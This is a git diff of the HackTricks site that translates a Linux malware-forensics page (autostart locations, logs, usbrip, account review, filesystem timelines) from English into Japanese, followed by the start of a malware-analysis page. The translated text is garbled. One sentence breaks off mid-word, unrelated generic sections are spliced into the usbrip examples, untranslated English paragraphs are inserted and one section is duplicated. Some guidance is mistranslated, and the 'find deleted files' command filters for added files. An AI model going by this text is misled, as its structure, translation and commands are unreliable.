/Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### サービス -### Services - -It is extremely common for malware to entrench itself as a new, unauthorized service. Linux has a number of scripts that are used to start services as the computer boots. The initialization startup script _**/etc/inittab**_ calls other scripts such as rc.sysinit and various startup scripts under the _**/etc/rc.d/**_ directory, or _**/etc/rc.boot/**_ in some older versions. On other versions of Linux, such as Debian, startup scripts are stored in the _**/etc/init.d/**_ directory. In addition, some common services are enabled in _**/etc/inetd.conf**_ or _**/etc/xinetd/**_ depending on the version of Linux. Digital investigators should inspect each of these startup scripts for anomalous entries. +マルウェアが新しい、許可されていないサービスとして浸透することは非常に一般的です。Linuxには、コンピュータの起動時にサービスを開始するために使用されるいくつかのスクリプトがあります。初期化の起動スクリプトである_**/etc/inittab**_は、_**/etc/rc.d/**_ディレクトリまたは一部の古いバージョンでは_**/etc/rc.boot/**_ディレクトリ、またはDebianなどの他のバージョンのLinuxでは_**/etc/init.d/**_ディレクトリの下のさまざまな起動スクリプトを呼び出します。さらに、一部の一般的なサービスは、Linuxのバージョンに応じて_**/etc/inetd.conf**_または_**/etc/xinetd/**_に有効にされます。デジタル調査官は、これらの起動スクリプトの各エントリを異常なものとして調査する必要があります。 * _**/etc/inittab**_ * _**/etc/rc.d/**_ @@ -267,94 +247,107 @@ It is extremely common for malware to entrench itself as a new, unauthorized ser * _**/etc/systemd/system**_ * _**/etc/systemd/system/multi-user.target.wants/**_ -### Kernel Modules +### カーネルモジュール -On Linux systems, kernel modules are commonly used as rootkit components for malware packages. Kernel modules are loaded when the system boots up based on the configuration information in the `/lib/modules/'uname -r'` and `/etc/modprobe.d` directories, and the `/etc/modprobe` or `/etc/modprobe.conf` file. These areas should be inspected for items that are related to malware. +Linuxシステムでは、マルウェアパッケージのルートキットコンポーネントとしてカーネルモジュールが一般的に使用されます。カーネルモジュールは、システムの起動時に`/lib/modules/'uname -r'`および`/etc/modprobe.d`ディレクトリ、および`/etc/modprobe`または`/etc/modprobe.conf`ファイルの設定情報に基づいてロードされます。これらの領域は、マルウェアに関連するアイテムを調査するために検査する必要があります。 -### Other Autostart Locations +### その他の自動起動場所 -There are several configuration files that Linux uses to automatically launch an executable when a user logs into the system that may contain traces of malware. +Linuxは、ユーザーがシステムにログインするときに実行可能ファイルを自動的に起動するために使用するいくつかの設定ファイルがあり、これらにはマルウェアの痕跡が含まれる可能性があります。 -* _**/etc/profile.d/\***_ , _**/etc/profile**_ , _**/etc/bash.bashrc**_ are executed when any user account logs in. -* _**∼/.bashrc**_ , _**∼/.bash\_profile**_ , _**\~/.profile**_ , _**∼/.config/autostart**_ are executed when the specific user logs in. -* _**/etc/rc.local**_ It is traditionally executed after all the normal system services are started, at the end of the process of switching to a multiuser runlevel. +* _**/etc/profile.d/\***_、_**/etc/profile**_、_**/etc/bash.bashrc**_は、どのユーザーアカウントでもログインしたときに実行されます。 +* _**∼/.bashrc**_、_**∼/.bash\_profile**_、_**\~/.profile**_、_**∼/.config/autostart**_は、特定のユーザーがログインしたときに実行されます。 +* _**/etc/rc.local**_は、通常のシステムサービスがすべて起動した後、マルチユーザーランレベルに切り替えるプロセスの最後に実行されます。 -## Examine Logs +## ログの調査 -Look in all available log files on the compromised system for traces of malicious execution and associated activities such as the creation of a new service. +侵害されたシステム上のすべての利用可能なログファイルを調べて、悪意のある実行や関連するアクティビティ(新しいサービスの作成など)の痕跡を見つけます。 -### Pure Logs +### 純粋なログ -**Login** events recorded in the system and security logs, including logins via the network, can reveal that **malware** or an **intruder gained access** to a compromised system via a given account at a specific time. Other events around the time of a malware infection can be captured in system logs, including the **creation** of a **new** **service** or new accounts around the time of an incident.\ -Interesting system logins: +システムログおよびセキュリティログに記録された**ログイン**イベントは、特定のアカウントを介して**マルウェア**または**侵入者がアクセス**したことを特定の時間に示すことができます。マルウェア感染の周辺での他のイベントは、システムログにキャプチャされることがあります。例えば、インシデントの時点での新しいサービスの作成や新しいアカウントの作成などです。\ +興味深いシステムログイン: -* **/var/log/syslog** (debian) or **/var/log/messages** (Redhat) - * Shows general messages and info regarding the system. It is a data log of all activity throughout the global system. -* **/var/log/auth.log** (debian) or **/var/log/secure** (Redhat) - * Keep authentication logs for both successful or failed logins, and authentication processes. Storage depends on the system type. - * `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` -* **/var/log/boot.log**: start-up messages and boot info. -* **/var/log/maillog** or **var/log/mail.log:** is for mail server logs, handy for postfix, smtpd, or email-related services info running on your server. -* **/var/log/kern.log**: keeps in Kernel logs and warning info. Kernel activity logs (e.g., dmesg, kern.log, klog) can show that a particular service crashed repeatedly, potentially indicating that an unstable trojanized version was installed. -* **/var/log/dmesg**: a repository for device driver messages. Use **dmesg** to see messages in this file. -* **/var/log/faillog:** records info on failed logins. Hence, handy for examining potential security breaches like login credential hacks and brute-force attacks. -* **/var/log/cron**: keeps a record of Crond-related messages (cron jobs). Like when the cron daemon started a job. -* **/var/log/daemon.log:** keeps track of running background services but doesn’t represent them graphically. -* **/var/log/btmp**: keeps a note of all failed login attempts. -* **/var/log/httpd/**: a directory containing error\_log and access\_log files of the Apache httpd daemon. Every error that httpd comes across is kept in the **error\_log** file. Think of memory problems and other system-related errors. **access\_log** logs all requests which come in via HTTP. -* **/var/log/mysqld.log** or **/var/log/mysql.log**: MySQL log file that records every debug, failure and success message, including starting, stopping and restarting of MySQL daemon mysqld. The system decides on the directory. RedHat, CentOS, Fedora, and other RedHat-based systems use /var/log/mariadb/mariadb.log. However, Debian/Ubuntu use /var/log/mysql/error.log directory. -* **/var/log/xferlog**: keeps FTP file transfer sessions. Includes info like file names and user-initiated FTP transfers. -* **/var/log/\*** : You should always check for unexpected logs in this directory +* **/var/log/syslog**(Debian)または**/var/log/messages**(Redhat) +* システム全体のアクティビティに関する一般的なメッセージと情報を表示します。 +* **/var/log/auth.log**(Debian)または**/var/log/secure**(Redhat) +* 成功または失敗したログイン、および認証プロセスの認証ログを保持します。ストレージはシステムのタイプに依存します。 +* `cat /var/log/auth.log | grep -iE "session opened for|accepted password|new session|not in sudoers"` +* **/var/log/boot.log**:起動メッセージとブート情報。 +* **/var/log/maillog**または**var/log/mail.log**:メールサーバーログで、ポストフィックス、smtpd、またはサーバー上で実行されている関連するメールサービスの情報に便利です。 +* **/var/log/kern.log**:カーネルログと警告情報を保持します。カーネルのアクティビティログ(例:dmesg、kern.log、klog)は、特定のサービスが繰り返しクラッシュしたことを示す可能性があります。これは、不安定なトロイの木馬バージョンがインストールされたことを示しています。 +* **/var/log/dmesg**:デバイスドライバーメッセージのリポジトリです。このファイルのメッセージを表示するには、**dmesg**を使用します。 +* **/var/log/faillog**:失敗したログインの情報を記録します。したがって、ログイン資格情報のハックやブルートフォース攻撃などの潜在的なセキュリティ侵害を調査するのに便利です。 +* **/var/log/cron**:Crond関連のメッセージ(cronジョブ)の記録を保持します。cronデーモンがジョブを開始したときなどです。 +* **/var/log/daemon.log**:バックグラウンドサービスの実行状況を追跡しますが、それらをグラフィカルに表現しません。 +* **/var/log/btmp**:すべての失敗したログイン試行のメモを保持します。 +* **/var/log/httpd/**:Apache httpdデーモンのerror\_logおよびaccess\_logファイルが含まれるディレクトリです。httpdが遭遇したすべてのエラーは、**error\_log**ファイルに保持されます。メモリの問題や他のシステム関連のエラーなどです。**access\_log**は、HTTP経由で受信したすべてのリクエストをログに記録します。 +* **/var/log/mysqld.log**または**/var/log/mysql.log**:MySQLログファイルで、開始、停止、再起動などのすべてのデバッグ、失敗、成功メッセージを記録します。ディレクトリはシステムが決定します。RedHat、CentOS、Fedora、およびその他のRedHatベースのシステムでは、/var/log/mariadb/mariadb.logを使用します。ただし、Debian/Ubuntuでは/var/log/mysql/error.logディレクトリを使用します。 +* **/var/log/xferlog**:FTPファイル転送セッションを保持します。ファイル名やユーザーによるFTP転送などの情報が含まれます。 +* **/var/log/\***:このディレクトリに予期しないログがないか常に確認する必要があります {% hint style="info" %} -Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +Linuxシステムのログと監査サブシステムは、侵入やマルウェアのインシデントで無効化または削除される場合があります。Linuxシステムのログには一般に最も有用な悪意のある活動に関する情報が含まれるため、侵入者は定期的にそれらを削除します。したがって、利用可能なログファイルを調査する際には、削除または改ざんの兆候となるギャップや順序外のエントリを探すことが重要です。 {% endhint %} -### Command History +### コマンド履歴 -Many Linux systems are configured to maintain a command history for each user account: +多くのLinuxシステムは、各ユーザーアカウントのコマンド履歴を保持するように設定されています。 * \~/.bash\_history * \~/.history * \~/.sh\_history * \~/.\*\_history -### Logins +### ログイン -Using the command `last -Faiwx` it's possible to get the list of users that have logged in.\ -It is recommended to check if those logins make sense: +`last -Faiwx`コマンドを使用すると、ログインしたユーザーのリストを取得できます。\ +これらのログインが意味をな +### アプリケーションのトレース -* Any unknown user? -* Any user that shouldn't have a shell logged in? +* **SSH**: システムへのSSH接続は、侵害されたシステムからの接続として、各ユーザーアカウントのファイルにエントリが作成されます(_**∼/.ssh/authorized\_keys**_ および _**∼/.ssh/known\_keys**_)。これらのエントリには、リモートホストのホスト名またはIPアドレスが明示されている場合があります。 +* **Gnomeデスクトップ**: ユーザーアカウントには、Gnomeデスクトップで実行されるアプリケーションを使用して最近アクセスされたファイルに関する情報が含まれる _**∼/.recently-used.xbel**_ ファイルがある場合があります。 +* **VIM**: ユーザーアカウントには、VIMの使用に関する詳細が含まれる _**∼/.viminfo**_ ファイルがある場合があります。これには、検索文字列の履歴やvimを使用して開かれたファイルへのパスなどが含まれます。 +* **Open Office**: 最近のファイル。 +* **MySQL**: ユーザーアカウントには、MySQLを使用して実行されたクエリが含まれる _**∼/.mysql\_history**_ ファイルがある場合があります。 +* **Less**: ユーザーアカウントには、検索文字列の履歴やlessを介して実行されたシェルコマンドなど、lessの使用に関する詳細が含まれる _**∼/.lesshst**_ ファイルがある場合があります。 -This is important as **attackers** some times may copy `/bin/bash` inside `/bin/false` so users like **lightdm** may be **able to login**. +### USBログ -Note that you can also **take a look at this information by reading the logs**. +[**usbrip**](https://github.com/snovvcrash/usbrip)は、Linuxのログファイル(ディストリビューションによっては `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成するための純粋なPython 3で書かれた小さなソフトウェアです。 -### Application Traces - -* **SSH**: Connections to systems made using SSH to and from a compromised system result in entries being made in files for each user account (_**∼/.ssh/authorized\_keys**_ and _**∼/.ssh/known\_keys**_). These entries can reveal the hostname or IP address of the remote hosts. -* **Gnome Desktop**: User accounts may have a _**∼/.recently-used.xbel**_ file that contains information about files that were recently accessed using applications running on the Gnome desktop. -* **VIM**: User accounts may have a _**∼/.viminfo**_ file that contains details about the use of VIM, including search string history and paths to files that were opened using vim. -* **Open Office**: Recent files. -* **MySQL**: User accounts may have a _**∼/.mysql\_history**_ file that contains queries executed using MySQL. -* **Less**: User accounts may have a _**∼/.lesshst**_ file that contains details about the use of less, including search string history and shell commands executed via less. - -### USB Logs - -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. - -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +**使用されたすべてのUSBデバイスを知る**ことは興味深いですし、USBデバイスの「違反イベント」(そのリストに含まれていないUSBデバイスの使用)を見つけるために認可されたUSBデバイスのリストを持っているとさらに便利です。 +### インストール ``` pip3 install usbrip usbrip ids download #Download USB ID database ``` +### 例 -### Examples +#### ファイルの復元 +ファイルの復元は、削除されたファイルを回復するための手法です。削除されたファイルは、実際にはディスク上に残っていることがあります。復元するためには、ファイルのヘッダやフッタ、およびファイルの中身を特定する必要があります。一般的なツールとしては、`foremost`や`scalpel`があります。 + +#### メモリの解析 + +メモリの解析は、実行中のシステムのメモリを調査するための手法です。メモリには、プロセスの情報やユーザーのアクティビティなど、重要な情報が含まれています。メモリの解析には、`Volatility`や`Rekall`などのツールが使用されます。 + +#### ネットワークトラフィックの解析 + +ネットワークトラフィックの解析は、ネットワーク上で送受信されるデータを調査する手法です。ネットワークトラフィックには、通信の詳細やパケットの内容など、重要な情報が含まれています。ネットワークトラフィックの解析には、`Wireshark`や`tcpdump`などのツールが使用されます。 + +#### ログの解析 + +ログの解析は、システムやアプリケーションのログファイルを調査する手法です。ログには、システムの動作やイベントの記録が含まれています。ログの解析には、`grep`や`awk`などのツールが使用されます。 + +#### レジストリの解析 + +レジストリの解析は、Windowsシステムのレジストリデータベースを調査する手法です。レジストリには、システムの設定やユーザーのアクティビティなど、重要な情報が含まれています。レジストリの解析には、`RegRipper`や`Registry Explorer`などのツールが使用されます。 + +#### フォレンジックイメージの作成 + +フォレンジックイメージの作成は、証拠を保護するためにディスクやメモリのコピーを作成する手法です。フォレンジックイメージは、解析や復元作業を行う際に使用されます。フォレンジックイメージの作成には、`dd`や`dcfldd`などのツールが使用されます。 ``` usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -362,77 +355,112 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +さらなる例や情報は、GitHub内で確認できます:[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Review User Accounts and Logon Activities +## ユーザーアカウントとログオンアクティビティの確認 -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +不正なイベントに関連して近くで作成または使用された、異常な名前やアカウントを含む_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、sudoによるブルートフォース攻撃の可能性もチェックします。\ +さらに、ユーザーに与えられた予期しない特権を持つファイル(_**/etc/sudoers**_や_**/etc/groups**_など)も確認します。\ +最後に、パスワードのないアカウントや簡単に推測できるパスワードを持つアカウントを探します。 -## Examine File System +## ファイルシステムの調査 -File system data structures can provide substantial amounts of **information** related to a **malware** incident, including the **timing** of events and the actual **content** of **malware**.\ -**Malware** is increasingly being designed to **thwart file system analysis**. Some malware alter date-time stamps on malicious files to make it more difficult to find them with timeline analysis. Other malicious codes are designed to only store certain information in memory to minimize the amount of data stored in the file system.\ -To deal with such anti-forensic techniques, it is necessary to pay **careful attention to timeline analysis** of file system date-time stamps and to files stored in common locations where malware might be found. +ファイルシステムのデータ構造は、**マルウェア**のインシデントに関連する**情報**(イベントのタイミングや**マルウェア**の実際の**内容**など)を提供する場合があります。\ +**マルウェア**は、ファイルシステムの解析を困難にするために、日時スタンプを変更するなどの手法を使用することが増えています。他の悪意のあるコードは、ファイルシステムに格納されるデータ量を最小限に抑えるために、特定の情報のみをメモリに保存するように設計されています。\ +このようなアンチフォレンジック技術に対処するためには、ファイルシステムの日時スタンプのタイムライン分析に**注意を払う**必要があります。また、マルウェアが見つかる可能性のある一般的な場所に保存されたファイルにも注意を払う必要があります。 -* Using **autopsy** you can see the timeline of events that may be useful to discover suspicious activity. You can also use the `mactime` feature from **Sleuth Kit** directly. -* Check for **unexpected scripts** inside **$PATH** (maybe some sh or php scripts?) -* Files in `/dev` used to be special files, you may find non-special files here related to malware. -* Look for unusual or **hidden files** and **directories**, such as “.. ” (dot dot space) or “..^G ” (dot dot control-G) -* Setuid copies of /bin/bash on the system `find / -user root -perm -04000 –print` -* Review date-time stamps of deleted **inodes for large numbers of files being deleted around the same time**, which might indicate malicious activity such as the installation of a rootkit or trojanized service. -* Because inodes are allocated on a next available basis, **malicious files placed on the system at around the same time may be assigned consecutive inodes**. Therefore, after one component of malware is located, it can be productive to inspect neighbouring inodes. -* Also check directories like _/bin_ or _/sbin_ as the **modified and or changed time** of new or modified files may be interesting. -* It's interesting to see the files and folders of a directory **sorted by creation date** instead of alphabetically to see which files or folders are more recent (the last ones usually). +* **autopsy**を使用すると、疑わしい活動を発見するのに役立つイベントのタイムラインを確認できます。また、**Sleuth Kit**の`mactime`機能を直接使用することもできます。 +* **$PATH**内に予期しないスクリプトがないか確認します(おそらくいくつかのshスクリプトやphpスクリプトがありますか?) +* `/dev`内のファイルは特殊なファイルであるはずですが、マルウェアに関連する特殊でないファイルが見つかる場合があります。 +* ".. "(ドットドットスペース)や"..^G "(ドットドットコントロールG)などの異常なまたは**隠しファイル**や**ディレクトリ**を探します。 +* システム上の/bin/bashのsetuidコピー `find / -user root -perm -04000 –print` +* 削除された**inodeの日時スタンプ**を確認し、同じ時期に大量のファイルが削除されている場合は、ルートキットのインストールやトロイの木馬化されたサービスのインストールなどの悪意のある活動を示している可能性があります。 +* inodeは次に利用可能な基準で割り当てられるため、**同じ時期にシステムに配置された悪意のあるファイルは連続したinodeが割り当てられる**場合があります。したがって、マルウェアの1つのコンポーネントが見つかった後は、隣接するinodeを調査することが生産的である場合があります。 +* _/bin_や_/sbin_などのディレクトリも確認し、新しいまたは変更されたファイルの**変更された時刻**を調べます。 +* ファイルやフォルダをアルファベット順ではなく、作成日時順に並べ替えたディレクトリのファイルとフォルダを見ると、より最近のファイルやフォルダがわかります(通常、最後のものです)。 -You can check the most recent files of a folder using `ls -laR --sort=time /bin`\ -You can check the inodes of the files inside a folder using `ls -lai /bin |sort -n` +`ls -laR --sort=time /bin`を使用して、フォルダの最新のファイルを確認できます。\ +`ls -lai /bin |sort -n`を使用して、フォルダ内のファイルのinodeを確認できます。 {% hint style="info" %} -Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +**攻撃者**は**時間**を**変更**して**ファイルを正規に見せかける**ことができますが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じように、あるファイルが作成および変更されたと示されているが、**inode**が予期しないほど大きい場合、そのファイルの**タイムスタンプが変更された**ことを意味します。 {% endhint %} -## Compare files of different filesystem versions - -#### Find added files +## 異なるファイルシステムバージョンの比較 +#### 追加されたファイルの検索 ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` +#### 変更されたコンテンツの検索 -#### Find Modified content +To find modified content in a Linux system, you can use various techniques and tools. Here are some methods you can follow: +1. **File Timestamps**: Check the timestamps of files to identify recently modified files. The `stat` command can be used to view the access, modification, and change timestamps of a file. + +2. **Log Files**: Analyze system log files such as `/var/log/syslog` or `/var/log/auth.log` to identify any suspicious activities or modifications. + +3. **File Integrity Monitoring (FIM)**: Use FIM tools like `Tripwire` or `AIDE` to monitor and detect changes in critical system files. These tools can generate reports highlighting any modifications. + +4. **Version Control Systems**: If the system uses version control systems like `Git`, you can check the commit history to identify any recent changes made to files. + +5. **System Audit Logs**: Review system audit logs, such as those generated by `auditd`, to identify any unauthorized modifications or access to files. + +6. **Memory Analysis**: Analyze the system's memory using tools like `Volatility` to identify any suspicious processes or modifications in memory. + +Remember to document any findings and preserve the integrity of the evidence during the investigation process. ```bash git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time" ``` +#### 削除されたファイルの検索 -#### Find deleted files +To find deleted files on a Linux system, you can use various techniques and tools. Here are some methods you can try: +1. **File Recovery Tools**: Use specialized file recovery tools like `extundelete`, `testdisk`, or `foremost` to scan the file system and recover deleted files. + +2. **File System Journal**: Check the file system journal to identify recently deleted files. The journal records metadata changes, including file deletions. Tools like `jcat` and `icat` can help you analyze the journal. + +3. **Inode Analysis**: Inodes store information about files on a Linux system. By examining the inode table, you can identify deleted files that still have their metadata intact. Tools like `istat` and `ifind` can assist in this analysis. + +4. **Carving**: File carving involves searching for file signatures or specific file headers in unallocated disk space. This technique can help recover deleted files that no longer have their metadata available. Tools like `scalpel` and `foremost` are commonly used for file carving. + +Remember to work on a copy of the disk or partition to avoid modifying the original data. Additionally, it's crucial to document your findings and follow proper forensic procedures to maintain the integrity of the evidence. + +#### 削除されたファイルを見つける + +Linuxシステム上で削除されたファイルを見つけるために、さまざまな手法とツールを使用することができます。以下にいくつかの試みるべき方法を示します: + +1. **ファイル復元ツール**:`extundelete`、`testdisk`、または`foremost`などの専門のファイル復元ツールを使用して、ファイルシステムをスキャンし、削除されたファイルを回復します。 + +2. **ファイルシステムジャーナル**:ファイルシステムジャーナルをチェックして、最近削除されたファイルを特定します。ジャーナルは、ファイルの削除を含むメタデータの変更を記録します。`jcat`や`icat`などのツールを使用して、ジャーナルを分析することができます。 + +3. **Inodeの分析**:InodeはLinuxシステム上のファイルに関する情報を格納しています。Inodeテーブルを調査することで、メタデータが残っている削除されたファイルを特定することができます。`istat`や`ifind`などのツールがこの分析をサポートします。 + +4. **カービング**:カービングは、未割り当てのディスク領域でファイルのシグネチャや特定のファイルヘッダを検索する手法です。この技術を使用すると、メタデータが利用できなくなった削除されたファイルを回復することができます。`scalpel`や`foremost`などのツールがファイルカービングによく使用されます。 + +元のデータを変更しないために、ディスクまたはパーティションのコピーで作業することを忘れないでください。また、証拠の完全性を保つために、調査結果を文書化し、適切な法的手続きに従うことが重要です。 ```bash git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ ``` - -#### Other filters +#### その他のフィルター **`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`** -Select only files that are Added (`A`), Copied (`C`), Deleted (`D`), Modified (`M`), Renamed (`R`), and have their type (i.e. regular file, symlink, submodule, …​) changed (`T`), are Unmerged (`U`), are Unknown (`X`), or have had their pairing Broken (`B`). Any combination of the filter characters (including none) can be used. When `*` (All-or-none) is added to the combination, all paths are selected if there is any file that matches other criteria in the comparison; if there is no file that matches other criteria, nothing is selected. +追加されたファイル (`A`)、コピーされたファイル (`C`)、削除されたファイル (`D`)、変更されたファイル (`M`)、名前が変更されたファイル (`R`)、タイプが変更されたファイル(通常のファイル、シンボリックリンク、サブモジュールなど) (`T`)、マージされていないファイル (`U`)、不明なファイル (`X`)、ペアリングが壊れたファイル (`B`) のみを選択します。フィルター文字の組み合わせには、任意の組み合わせ(なしも含む)が使用できます。組み合わせに `*`(全てまたは無し)が追加されると、比較に他の基準に一致するファイルがある場合、すべてのパスが選択されます。他の基準に一致するファイルがない場合、何も選択されません。 -Also, **these upper-case letters can be downcased to exclude**. E.g. `--diff-filter=ad` excludes added and deleted paths. +また、これらの大文字の文字は、除外するために小文字にすることもできます。例:`--diff-filter=ad` は追加されたパスと削除されたパスを除外します。 -Note that not all diffs can feature all types. For instance, diffs from the index to the working tree can never have Added entries (because the set of paths included in the diff is limited by what is in the index). Similarly, copied and renamed entries cannot appear if detection for those types is disabled. +すべての差分がすべてのタイプを持つわけではないことに注意してください。たとえば、インデックスから作業ツリーへの差分には、追加されたエントリが存在しない場合があります(差分に含まれるパスのセットはインデックスに含まれるものに制限されるため)。同様に、コピーされたエントリと名前が変更されたエントリは、それらのタイプの検出が無効になっている場合には表示されません。 -## References +## 参考文献 * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) @@ -441,20 +469,20 @@ Note that not all diffs can feature all types. For instance, diffs from the inde ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +**サイバーセキュリティ企業で働いていますか?** **HackTricks**で**あなたの会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -**Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +**ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化しましょう。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/forensics/basic-forensic-methodology/malware-analysis.md b/forensics/basic-forensic-methodology/malware-analysis.md index cd41242e4..419e968f5 100644 --- a/forensics/basic-forensic-methodology/malware-analysis.md +++ b/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,22 +1,22 @@ -# Malware Analysis +# マルウェア解析
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) 